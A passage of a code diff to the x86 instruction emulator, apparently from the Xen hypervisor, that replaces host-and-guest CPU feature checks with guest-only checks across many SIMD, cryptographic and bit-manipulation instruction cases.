         generate_exception_if(vex.w || vex.l, X86_EXC_UD);
-        host_and_vcpu_must_have(sm3);
+        vcpu_must_have(sm3);
         goto simd_0f_ymm;
 
     case X86EMUL_OPC_VEX_F3(0x0f38, 0xda): /* vsm4key4 [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_F2(0x0f38, 0xda): /* vsm4rnds4 [xy]mm/mem,[xy]mm,[xy]mm */
-        host_and_vcpu_must_have(sm4);
+        vcpu_must_have(sm4);
         generate_exception_if(vex.w, X86_EXC_UD);
         op_bytes = 16 << vex.l;
         goto simd_0f_ymm;
@@ -6812,16 +6812,16 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f38, 0xde):  /* vaesdec {x,y}mm/mem,{x,y}mm,{x,y}mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0xdf):  /* vaesdeclast {x,y}mm/mem,{x,y}mm,{x,y}mm */
         if ( !vex.l )
-            host_and_vcpu_must_have(aesni);
+            vcpu_must_have(aesni);
         else
-            host_and_vcpu_must_have(vaes);
+            vcpu_must_have(vaes);
         goto simd_0f_avx;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xdc): /* vaesenc [xyz]mm/mem,[xyz]mm,[xyz]mm */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xdd): /* vaesenclast [xyz]mm/mem,[xyz]mm,[xyz]mm */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xde): /* vaesdec [xyz]mm/mem,[xyz]mm,[xyz]mm */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xdf): /* vaesdeclast [xyz]mm/mem,[xyz]mm,[xyz]mm */
-        host_and_vcpu_must_have(vaes);
+        vcpu_must_have(vaes);
         generate_exception_if(evex.brs || evex.opmsk, X86_EXC_UD);
         goto avx512f_no_sae;
 
@@ -6831,7 +6831,7 @@ x86_emulate(
          X86EMUL_OPC_VEX_66(0x0f38, 0xef): /* cmp<cc>xadd r,r,m */
         generate_exception_if(!mode_64bit() || dst.type != OP_MEM || vex.l,
                               X86_EXC_UD);
-        host_and_vcpu_must_have(cmpccxadd);
+        vcpu_must_have(cmpccxadd);
         fail_if(!ops->rmw);
         state->rmw = rmw_cmpccxadd;
         break;
@@ -6863,7 +6863,7 @@ x86_emulate(
 
     case X86EMUL_OPC_F2(0x0f38, 0xf0): /* crc32 r/m8, r{32,64} */
     case X86EMUL_OPC_F2(0x0f38, 0xf1): /* crc32 r/m{16,32,64}, r{32,64} */
-        host_and_vcpu_must_have(sse4_2);
+        vcpu_must_have(sse4_2);
         dst.bytes = rex_prefix & REX_W ? 8 : 4;
         switch ( op_bytes )
         {
@@ -6903,9 +6903,9 @@ x86_emulate(
         typeof(vex) *pvex = container_of(buf + 1, typeof(vex), raw[0]);
 
         if ( b == 0xf5 || vex.pfx )
-            host_and_vcpu_must_have(bmi2);
+            vcpu_must_have(bmi2);
         else
-            host_and_vcpu_must_have(bmi1);
+            vcpu_must_have(bmi1);
         generate_exception_if(vex.l, X86_EXC_UD);
 
         buf[0] = 0xc4;
@@ -6936,7 +6936,7 @@ x86_emulate(
         case 1: /* blsr r,r/m */
         case 2: /* blsmsk r,r/m */
         case 3: /* blsi r,r/m */
-            host_and_vcpu_must_have(bmi1);
+            vcpu_must_have(bmi1);
             break;
         default:
             goto unrecognized_insn;
@@ -7008,7 +7008,7 @@ x86_emulate(
         break;
 
     case X86EMUL_OPC_66(0x0f38, 0xf8): /* movdir64b r,m512 */
-        host_and_vcpu_must_have(movdir64b);
+        vcpu_must_have(movdir64b);
         generate_exception_if(ea.type != OP_MEM, X86_EXC_UD);
         src.val = truncate_ea(*dst.reg);
         generate_exception_if(!is_aligned(x86_seg_es, src.val, 64, ctxt, ops),
@@ -7026,7 +7026,7 @@ x86_emulate(
 
     case X86EMUL_OPC_F2(0x0f38, 0xf8): /* enqcmd r,m512 */
     case X86EMUL_OPC_F3(0x0f38, 0xf8): /* enqcmds r,m512 */
-        host_and_vcpu_must_have(enqcmd);
+        vcpu_must_have(enqcmd);
         generate_exception_if(ea.type != OP_MEM, X86_EXC_UD);
         generate_exception_if(vex.pfx != vex_f2 && !mode_ring0(), X86_EXC_GP, 0);
         src.val = truncate_ea(*dst.reg);
@@ -7057,7 +7057,7 @@ x86_emulate(
         break;
 
     case X86EMUL_OPC(0x0f38, 0xf9): /* movdiri mem,r */
-        host_and_vcpu_must_have(movdiri);
+        vcpu_must_have(movdiri);
         generate_exception_if(dst.type != OP_MEM, X86_EXC_UD);
         fail_if(!ops->blk);
         state->blk = blk_movdir;
@@ -7115,7 +7115,7 @@ x86_emulate(
     case X86EMUL_OPC_66(0x0f3a, 0x40): /* dpps $imm8,xmm/m128,xmm */
     case X86EMUL_OPC_66(0x0f3a, 0x41): /* dppd $imm8,xmm/m128,xmm */
     case X86EMUL_OPC_66(0x0f3a, 0x42): /* mpsadbw $imm8,xmm/m128,xmm */
-        host_and_vcpu_must_have(sse4_1);
+        vcpu_must_have(sse4_1);
         goto simd_0f3a_common;
 
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x0a): /* vrndscaless $imm8,xmm/mem,xmm,xmm{k} */
@@ -7124,7 +7124,7 @@ x86_emulate(
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x08): /* vrndscaleps $imm8,[xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x09): /* vrndscalepd $imm8,[xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(evex.w != (b & 1), X86_EXC_UD);
         avx512_vlen_check(b & 2);
         goto simd_imm8_zmm;
@@ -7133,7 +7133,7 @@ x86_emulate(
         generate_exception_if(ea.type != OP_REG && evex.brs, X86_EXC_UD);
         /* fall through */
     case X86EMUL_OPC_EVEX(0x0f3a, 0x08): /* vrndscaleph $imm8,[xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         avx512_vlen_check(b & 2);
         goto simd_imm8_zmm;
@@ -7141,7 +7141,7 @@ x86_emulate(
 #endif /* X86EMUL_NO_SIMD */
 
     CASE_SIMD_PACKED_INT(0x0f3a, 0x0f): /* palignr $imm8,{,x}mm/mem,{,x}mm */
-        host_and_vcpu_must_have(ssse3);
+        vcpu_must_have(ssse3);
         if ( vex.pfx )
         {
     simd_0f3a_common:
@@ -7149,7 +7149,7 @@ x86_emulate(
         }
         else
         {
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
             get_fpu(X86EMUL_FPU_mmx);
         }
         opc = init_prefixes(stub);
@@ -7180,7 +7180,7 @@ x86_emulate(
     case X86EMUL_OPC_66(0x0f3a, 0x15): /* pextrw $imm8,xmm,r/m */
     case X86EMUL_OPC_66(0x0f3a, 0x16): /* pextr{d,q} $imm8,xmm,r/m */
     case X86EMUL_OPC_66(0x0f3a, 0x17): /* extractps $imm8,xmm,r/m */
-        host_and_vcpu_must_have(sse4_1);
+        vcpu_must_have(sse4_1);
         get_fpu(X86EMUL_FPU_xmm);
 
         opc = init_prefixes(stub);
@@ -7219,7 +7219,7 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x16): /* vpextr{d,q} $imm8,xmm,r/m */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x17): /* vextractps $imm8,xmm,r/m */
         generate_exception_if(vex.l || vex.reg != 0xf, X86_EXC_UD);
-        host_and_vcpu_must_have(avx);
+        vcpu_must_have(avx);
         get_fpu(X86EMUL_FPU_ymm);
 
         /* Work around erratum BT41. */
@@ -7246,11 +7246,11 @@ x86_emulate(
                                evex.opmsk || evex.brs),
                               X86_EXC_UD);
         if ( !(b & 2) )
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
         else if ( !(b & 1) )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         else
-            host_and_vcpu_must_have(avx512f);
+            vcpu_must_have(avx512f);
         get_fpu(X86EMUL_FPU_zmm);
         opc = init_evex(stub);
         goto pextr;
@@ -7264,7 +7264,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x39): /* vextracti32x4 $imm8,{y,z}mm,xmm/m128{k} */
                                             /* vextracti64x2 $imm8,{y,z}mm,xmm/m128{k} */
         if ( evex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         generate_exception_if(evex.brs, X86_EXC_UD);
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x23): /* vshuff32x4 $imm8,{y,z}mm/mem,{y,z}mm,{y,z}mm{k} */
@@ -7284,7 +7284,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x3b): /* vextracti32x8 $imm8,zmm,ymm/m256{k} */
                                             /* vextracti64x4 $imm8,zmm,ymm/m256{k} */
         if ( !evex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         generate_exception_if(evex.lr != 2 || evex.brs, X86_EXC_UD);
         fault_suppression = false;
         goto avx512f_imm8_no_sae;
@@ -7300,14 +7300,14 @@ x86_emulate(
             generate_exception_if((evex.w || evex.reg != 0xf || !evex.RX ||
                                    (ea.type != OP_REG && (evex.z || evex.brs))),
                                   X86_EXC_UD);
-            host_and_vcpu_must_have(avx512f);
+            vcpu_must_have(avx512f);
             avx512_vlen_check(false);
             opc = init_evex(stub);
         }
         else
         {
             generate_exception_if(vex.w || vex.reg != 0xf, X86_EXC_UD);
-            host_and_vcpu_must_have(f16c);
+            vcpu_must_have(f16c);
             opc = init_prefixes(stub);
         }
 
@@ -7392,7 +7392,7 @@ x86_emulate(
         if ( !(b & 0x20) )
             goto avx512f_imm8_no_sae;
     avx512bw_imm:
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.brs, X86_EXC_UD);
         elem_bytes = 1 << evex.w;
         avx512_vlen_check(false);
@@ -7400,7 +7400,7 @@ x86_emulate(
 
     case X86EMUL_OPC_66(0x0f3a, 0x20): /* pinsrb $imm8,r32/m8,xmm */
     case X86EMUL_OPC_66(0x0f3a, 0x22): /* pinsr{d,q} $imm8,r/m,xmm */
-        host_and_vcpu_must_have(sse4_1);
+        vcpu_must_have(sse4_1);
         memcpy(mmvalp, &src.val, src.bytes);
         ea.type = OP_MEM;
         d = SrcMem16; /* Fake for the common SIMD code below. */
@@ -7419,7 +7419,7 @@ x86_emulate(
         goto simd_0f_int_imm8;
 
     case X86EMUL_OPC_66(0x0f3a, 0x21): /* insertps $imm8,xmm/m32,xmm */
-        host_and_vcpu_must_have(sse4_1);
+        vcpu_must_have(sse4_1);
         op_bytes = 4;
         goto simd_0f3a_common;
 
@@ -7431,7 +7431,7 @@ x86_emulate(
         goto simd_0f_imm8_avx;
 
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x21): /* vinsertps $imm8,xmm/m32,xmm,xmm */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(evex.lr || evex.w || evex.opmsk || evex.brs,
                               X86_EXC_UD);
         op_bytes = 4;
@@ -7439,18 +7439,18 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x50): /* vrangep{s,d} $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x56): /* vreducep{s,d} $imm8,[xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512dq);
+        vcpu_must_have(avx512dq);
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x26): /* vgetmantp{s,d} $imm8,[xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x54): /* vfixupimmp{s,d} $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
         goto simd_imm8_zmm;
 
     case X86EMUL_OPC_EVEX(0x0f3a, 0x26): /* vgetmantph $imm8,[xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX(0x0f3a, 0x56): /* vreduceph $imm8,[xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
@@ -7458,11 +7458,11 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x51): /* vranges{s,d} $imm8,xmm/mem,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x57): /* vreduces{s,d} $imm8,xmm/mem,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512dq);
+        vcpu_must_have(avx512dq);
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x27): /* vgetmants{s,d} $imm8,xmm/mem,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x55): /* vfixupimms{s,d} $imm8,xmm/mem,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(ea.type != OP_REG && evex.brs, X86_EXC_UD);
         if ( !evex.brs )
             avx512_vlen_check(true);
@@ -7470,7 +7470,7 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX(0x0f3a, 0x27): /* vgetmantsh $imm8,xmm/mem,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX(0x0f3a, 0x57): /* vreducesh $imm8,xmm/mem,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         if ( !evex.brs )
             avx512_vlen_check(true);
@@ -7481,31 +7481,31 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x30): /* kshiftr{b,w} $imm8,k,k */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x32): /* kshiftl{b,w} $imm8,k,k */
         if ( !vex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
     opmask_shift_imm:
         generate_exception_if(vex.l || !vex.r || vex.reg != 0xf ||
                               ea.type != OP_REG, X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         get_fpu(X86EMUL_FPU_opmask);
         op_bytes = 1; /* Any non-zero value will do. */
         goto simd_0f_imm8;
 
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x31): /* kshiftr{d,q} $imm8,k,k */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x33): /* kshiftl{d,q} $imm8,k,k */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         goto opmask_shift_imm;
 
     case X86EMUL_OPC_66(0x0f3a, 0x44):     /* pclmulqdq $imm8,xmm/m128,xmm */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x44): /* vpclmulqdq $imm8,{x,y}mm/mem,{x,y}mm,{x,y}mm */
-        host_and_vcpu_must_have(pclmulqdq);
+        vcpu_must_have(pclmulqdq);
         if ( vex.opcx == vex_none )
             goto simd_0f3a_common;
         if ( vex.l )
-            host_and_vcpu_must_have(vpclmulqdq);
+            vcpu_must_have(vpclmulqdq);
         goto simd_0f_imm8_avx;
 
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x44): /* vpclmulqdq $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm */
-        host_and_vcpu_must_have(vpclmulqdq);
+        vcpu_must_have(vpclmulqdq);
         generate_exception_if(evex.brs || evex.opmsk, X86_EXC_UD);
         goto avx512f_imm8_no_sae;
 
@@ -7513,7 +7513,7 @@ x86_emulate(
                                            /* vpermil2ps $imm,{x,y}mm,{x,y}mm/mem,{x,y}mm,{x,y}mm */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x49): /* vpermil2pd $imm,{x,y}mm/mem,{x,y}mm,{x,y}mm,{x,y}mm */
                                            /* vpermil2pd $imm,{x,y}mm,{x,y}mm/mem,{x,y}mm,{x,y}mm */
-        host_and_vcpu_must_have(xop);
+        vcpu_must_have(xop);
         goto simd_0f_imm8_ymm;
 
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x4a): /* vblendvps {x,y}mm,{x,y}mm/mem,{x,y}mm,{x,y}mm */
@@ -7565,7 +7565,7 @@ x86_emulate(
                                            /* vfnmsubss xmm/m32,xmm,xmm,xmm */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x7f): /* vfnmsubsd xmm,xmm/m64,xmm,xmm */
                                            /* vfnmsubsd xmm/m64,xmm,xmm,xmm */
-        host_and_vcpu_must_have(fma4);
+        vcpu_must_have(fma4);
         goto simd_0f_imm8_ymm;
 
     case X86EMUL_OPC_66(0x0f3a, 0x60):     /* pcmpestrm $imm8,xmm/m128,xmm */
@@ -7578,13 +7578,13 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f3a, 0x63): /* vpcmpistri $imm8,xmm/m128,xmm */
         if ( vex.opcx == vex_none )
         {
-            host_and_vcpu_must_have(sse4_2);
+            vcpu_must_have(sse4_2);
             get_fpu(X86EMUL_FPU_xmm);
         }
         else
         {
             generate_exception_if(vex.l || vex.reg != 0xf, X86_EXC_UD);
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
         }
 
@@ -7633,7 +7633,7 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x66): /* vfpclassp{s,d} $imm8,[xyz]mm/mem,k{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x67): /* vfpclasss{s,d} $imm8,xmm/mem,k{k} */
-        host_and_vcpu_must_have(avx512dq);
+        vcpu_must_have(avx512dq);
         generate_exception_if(!evex.r || !evex.R || evex.z, X86_EXC_UD);
         if ( !(b & 1) )
             goto avx512f_imm8_no_sae;
@@ -7643,7 +7643,7 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX(0x0f3a, 0x66): /* vfpclassph $imm8,[xyz]mm/mem,k{k} */
     case X86EMUL_OPC_EVEX(0x0f3a, 0x67): /* vfpclasssh $imm8,xmm/mem,k{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w || !evex.r || !evex.R || evex.z, X86_EXC_UD);
         if ( !(b & 1) )
             goto avx512f_imm8_no_sae;
@@ -7658,51 +7658,51 @@ x86_emulate(
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x71): /* vpshld{d,q} $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x73): /* vpshrd{d,q} $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_vbmi2);
+        vcpu_must_have(avx512_vbmi2);
         goto avx512f_imm8_no_sae;
 
     case X86EMUL_OPC_EVEX_F3(0x0f3a, 0xc2): /* vcmpsh $imm8,xmm/mem,xmm,k{k} */
         generate_exception_if(ea.type != OP_REG && evex.brs, X86_EXC_UD);
         /* fall through */
     case X86EMUL_OPC_EVEX(0x0f3a, 0xc2): /* vcmpph $imm8,[xyz]mm/mem,[xyz]mm,k{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w || !evex.r || !evex.R || evex.z, X86_EXC_UD);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(evex.pfx & VEX_PREFIX_SCALAR_MASK);
         goto simd_imm8_zmm;
 
     case X86EMUL_OPC(0x0f3a, 0xcc):     /* sha1rnds4 $imm8,xmm/m128,xmm */
-        host_and_vcpu_must_have(sha);
+        vcpu_must_have(sha);
         op_bytes = 16;
         goto simd_0f3a_common;
 
     case X86EMUL_OPC_66(0x0f3a, 0xce):      /* gf2p8affineqb $imm8,xmm/m128,xmm */
     case X86EMUL_OPC_66(0x0f3a, 0xcf):      /* gf2p8affineinvqb $imm8,xmm/m128,xmm */
-        host_and_vcpu_must_have(gfni);
+        vcpu_must_have(gfni);
         goto simd_0f3a_common;
 
     case X86EMUL_OPC_VEX_66(0x0f3a, 0xce):  /* vgf2p8affineqb $imm8,{x,y}mm/mem,{x,y}mm,{x,y}mm */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0xcf):  /* vgf2p8affineinvqb $imm8,{x,y}mm/mem,{x,y}mm,{x,y}mm */
-        host_and_vcpu_must_have(gfni);
+        vcpu_must_have(gfni);
         generate_exception_if(!vex.w, X86_EXC_UD);
         goto simd_0f_imm8_avx;
 
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0xce): /* vgf2p8affineqb $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0xcf): /* vgf2p8affineinvqb $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(gfni);
+        vcpu_must_have(gfni);
         generate_exception_if(!evex.w, X86_EXC_UD);
         fault_suppression = false;
         goto avx512f_imm8_no_sae;
 
     case X86EMUL_OPC_VEX_66(0x0f3a, 0xde): /* vsm3rnds2 $imm8,xmm/mem,xmm,xmm */
-        host_and_vcpu_must_have(sm3);
+        vcpu_must_have(sm3);
         generate_exception_if(vex.w || vex.l, X86_EXC_UD);
         op_bytes = 16;
         goto simd_0f_imm8_ymm;
 
     case X86EMUL_OPC_66(0x0f3a, 0xdf):     /* aeskeygenassist $imm8,xmm/m128,xmm */
     case X86EMUL_OPC_VEX_66(0x0f3a, 0xdf): /* vaeskeygenassist $imm8,xmm/m128,xmm */
-        host_and_vcpu_must_have(aesni);
+        vcpu_must_have(aesni);
         if ( vex.opcx == vex_none )
             goto simd_0f3a_common;
         generate_exception_if(vex.l, X86_EXC_UD);
@@ -7741,13 +7741,13 @@ x86_emulate(
     CASE_SIMD_SINGLE_FP(_EVEX, 5, 0x5d): /* vmin{p,s}h [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     CASE_SIMD_SINGLE_FP(_EVEX, 5, 0x5e): /* vdiv{p,s}h [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     CASE_SIMD_SINGLE_FP(_EVEX, 5, 0x5f): /* vmax{p,s}h [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         goto avx512f_all_fp;
 
     CASE_SIMD_ALL_FP(_EVEX, 5, 0x5a):  /* vcvtp{h,d}2p{h,d} [xyz]mm/mem,[xyz]mm{k} */
                                        /* vcvts{h,d}2s{h,d} xmm/mem,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         if ( vex.pfx & VEX_PREFIX_SCALAR_MASK )
             d &= ~TwoOp;
         op_bytes = 2 << (((evex.pfx & VEX_PREFIX_SCALAR_MASK) ? 0 : 1 + evex.lr) +
@@ -7758,7 +7758,7 @@ x86_emulate(
                                        /* vcvtqq2ph [xyz]mm/mem,xmm{k} */
     case X86EMUL_OPC_EVEX_F2(5, 0x7a): /* vcvtudq2ph [xyz]mm/mem,[xy]mm{k} */
                                        /* vcvtuqq2ph [xyz]mm/mem,xmm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
         op_bytes = 16 << evex.lr;
@@ -7768,7 +7768,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_F3(5, 0x5b): /* vcvttph2dq [xy]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX   (5, 0x78): /* vcvttph2udq [xy]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX   (5, 0x79): /* vcvtph2udq [xy]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
@@ -7779,7 +7779,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(5, 0x79): /* vcvtph2uqq xmm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(5, 0x7a): /* vcvttph2qq xmm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(5, 0x7b): /* vcvtph2qq xmm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
@@ -7816,7 +7816,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(6, 0xba): /* vfmsub231ph [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(6, 0xbc): /* vfnmadd231ph [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(6, 0xbe): /* vfnmsub231ph [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
@@ -7838,7 +7838,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(6, 0xbb): /* vfmsub231sh xmm/m16,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(6, 0xbd): /* vfnmadd231sh xmm/m16,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(6, 0xbf): /* vfnmsub231sh xmm/m16,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w || (ea.type != OP_REG && evex.brs),
                               X86_EXC_UD);
         if ( !evex.brs )
@@ -7847,13 +7847,13 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(6, 0x4c): /* vrcpph [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(6, 0x4e): /* vrsqrtph [xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w, X86_EXC_UD);
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_EVEX_66(6, 0x4d): /* vrcpsh xmm/m16,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(6, 0x4f): /* vrsqrtsh xmm/m16,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w || evex.brs, X86_EXC_UD);
         avx512_vlen_check(true);
         goto simd_zmm;
@@ -7871,7 +7871,7 @@ x86_emulate(
     {
         unsigned int src1 = ~evex.reg;
 
-        host_and_vcpu_must_have(avx512_fp16);
+        vcpu_must_have(avx512_fp16);
         generate_exception_if(evex.w || ((b & 1) && ea.type != OP_REG && evex.brs),
                               X86_EXC_UD);
         if ( mode_64bit() )
@@ -7931,7 +7931,7 @@ x86_emulate(
         /* fall through */
     case X86EMUL_OPC_XOP(08, 0xa2): /* vpcmov {x,y}mm/mem,{x,y}mm,{x,y}mm,{x,y}mm */
                                     /* vpcmov {x,y}mm,{x,y}mm/mem,{x,y}mm,{x,y}mm */
-        host_and_vcpu_must_have(xop);
+        vcpu_must_have(xop);
         goto simd_0f_imm8_ymm;
 
 #endif /* X86EMUL_NO_SIMD */
@@ -7946,7 +7946,7 @@ x86_emulate(
         case 5: /* blcic r/m,r */
         case 6: /* blsic r/m,r */
         case 7: /* t1mskc r/m,r */
-            host_and_vcpu_must_have(tbm);
+            vcpu_must_have(tbm);
             break;
         default:
             goto unrecognized_insn;
@@ -7980,7 +7980,7 @@ x86_emulate(
         {
         case 1: /* blcmsk r/m,r */
         case 6: /* blci r/m,r */
-            host_and_vcpu_must_have(tbm);
+            vcpu_must_have(tbm);
             goto xop_09_rm_rv;
         }
         goto unrecognized_insn;
@@ -8003,7 +8003,7 @@ x86_emulate(
         /* fall through */
     case X86EMUL_OPC_XOP(09, 0x80): /* vfrczps {x,y}mm/mem,{x,y}mm */
     case X86EMUL_OPC_XOP(09, 0x81): /* vfrczpd {x,y}mm/mem,{x,y}mm */
-        host_and_vcpu_must_have(xop);
+        vcpu_must_have(xop);
         generate_exception_if(vex.w, X86_EXC_UD);
         goto simd_0f_ymm;
 
@@ -8049,7 +8049,7 @@ x86_emulate(
     case X86EMUL_OPC_XOP(09, 0x9b): /* vpshaq xmm/m128,xmm,xmm */
                                     /* vpshaq xmm,xmm/m128,xmm */
         generate_exception_if(vex.l, X86_EXC_UD);
-        host_and_vcpu_must_have(xop);
+        vcpu_must_have(xop);
         goto simd_0f_ymm;
 
 #endif /* X86EMUL_NO_SIMD */
@@ -8059,7 +8059,7 @@ x86_emulate(
         uint8_t *buf = get_stub(stub);
         typeof(vex) *pxop = container_of(buf + 1, typeof(vex), raw[0]);
 
-        host_and_vcpu_must_have(tbm);
+        vcpu_must_have(tbm);
         generate_exception_if(vex.l || vex.reg != 0xf, X86_EXC_UD);
 
